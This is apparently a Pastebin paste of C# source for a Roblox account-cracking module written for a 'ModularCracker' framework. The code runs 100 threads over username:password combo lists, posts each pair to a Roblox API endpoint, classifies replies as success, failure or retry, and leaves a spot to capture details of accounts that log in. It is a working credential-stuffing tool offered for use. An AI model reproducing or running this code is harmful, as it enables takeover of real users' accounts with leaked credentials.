Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System.Net;
- using System.Threading.Tasks;
- using CrackingLibV2.KeysSystem;
- using ModularCracker;
- using RestSharp;
- using RestSharp.Extensions.MonoHttp;
- namespace Roblox
- {
- public class Roblox : IModule
- {
- public int Threads => 100;
- public string Author => "Storm";
- public string ModuleName => "Roblox";
- public bool Proxy => false;
- public ComboTypes ComboType => ComboTypes.UserPass;
- public async Task<Tuple<Keys, Account>> LoginRequest(string user, string pass, string proxy)
- {
- var keyssystem = new KeysSystem();
- keyssystem.AddKey(Keys.Failure, "Incorrect username or password.", "Account not found. Please try again");
- keyssystem.AddKey(Keys.Success, "userId");
- keyssystem.AddKey(Keys.Retry, "<!-- a padding to disable MSIE and Chrome friendly error page -->");
- keyssystem.AddKey(Keys.Retry,
- "The request body did not contain the specified number of bytes. Got 0, expected");
- var account = new Account { Login = user, Password = pass, Capture = "" };
- var client = new RestClient("https://api.roblox.com/currency/balance")
- {
- UserAgent =
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11",
- CookieContainer = new CookieContainer()
- };
- var request = new RestRequest();
- request.AddParameter("application/x-www-form-urlencoded", $"username={user}&password={pass}", ParameterType.RequestBody);
- //get example
- await client.ExecuteGetTaskAsync(request);
- var exec = await client.ExecutePostTaskAsync(request); //ALWAYS AWAIT REQUESTS
- var keyCheck = keyssystem.CheckKeys(exec.Content);
- if (keyCheck == Keys.Success)
- {
- // CAPTURE HERE
- }
- // new Account() {Login = "USER", Password = "PASS", Capture = "CAPTURE"};
- return Tuple.Create(keyCheck, account); // RETURN KEY, ACCOUNT WIT H CAPTURE
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement